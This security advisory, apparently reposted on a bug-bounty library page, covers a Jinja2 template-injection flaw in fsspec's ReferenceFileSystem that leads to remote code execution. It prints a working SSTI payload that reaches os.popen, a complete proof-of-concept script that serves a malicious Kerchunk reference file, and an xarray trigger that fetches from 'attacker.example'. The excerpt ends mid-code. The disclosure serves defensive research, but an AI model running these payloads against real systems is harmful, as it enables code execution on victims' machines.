# fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

fsspec's ReferenceFileSystem renders attacker-controlled Kerchunk JSON fields through unsandboxed Jinja2, giving RCE when a victim opens a malicious reference catalogue.

- Payout: Research
- Severity: high
- Program: fsspec
- Found by: DanyAssuid
- Disclosed: 2026-10-05
- CVE: CVE-2026-104851
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-27vj-qcqg-25rc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-27vj-qcqg-25rc
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:rce vuln:ssti

**Target:** fsspec.implementations.reference.ReferenceFileSystem (Kerchunk references JSON parser)
**Root cause:** Three sinks in reference.py pass attacker-controlled JSON fields (refs entries, templates values, gen key/url/offset/length) to jinja2.Template(...).render() using the default unrestricted environment, so SSTI gadgets reach Python internals.
**Steps:**
1. Host a references JSON containing a `gen` array whose `key` holds `{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}/{{ i }}` with `dimensions: {"i": [0]}`
2. Serve it over HTTP and call `fsspec.filesystem("reference", fo=url)`
3. Sink C `_process_gen` renders `gen["key"]` via `jinja2.Template(...).render(...)`, executing the payload before any data read
4. Alternatively reach it via `xarray.open_dataset("reference://", engine="zarr", backend_kwargs={"storage_options": {"fo": "http://attacker.example/refs.json", "remote_protocol": "http"}})`
**How found:** Code review of reference.py identified three jinja2.Template(...).render() call sites fed by externally sourced JSON, mirroring the CVE-2024-34359 pattern in llama-cpp-python; noted sink C is reached unconditionally when a `gen` field exists.
**Exploitation:** Attacker hosts or tampers with a Kerchunk catalogue URL; victim opens it via fsspec reference filesystem or xarray/dask. The `gen` field is rendered unconditionally, so arbitrary Python runs on the victim host with no further interaction.
**Insight:** Data-catalogue/format parsers that support templating (Kerchunk `gen`, `templates`, refs) are prime SSTI surface: grep for jinja2.Template on any field parsed from a remote document, and check whether a `gen`-style field is rendered without opt-in flags.

## Proof of concept (copied exactly from the original report)

**PoC script with SSTI payload in gen field**

```
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
```

**xarray end-to-end RCE trigger**

```
import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
```

